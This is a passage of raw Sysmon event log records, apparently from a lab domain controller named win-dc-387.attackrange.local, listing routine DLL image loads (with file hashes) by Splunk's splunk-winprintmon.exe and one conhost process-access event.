Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-050MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000054425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.964{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000054424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.964{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000054423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.964{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000054422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.749{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.749{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.749{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.749{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.749{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.749{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.749{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000054408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054395Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000054394Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000054393Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000054392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054391Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000054390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.732{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.731{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.731{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000054386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.730{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000054385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.729{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000054384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.729{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000054383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.729{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:21.728{7BD73061-73F5-613B-8B0B-00000000F001}4204C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exeMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748trueSplunk, Inc.Valid 10341000x800000000000000054381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 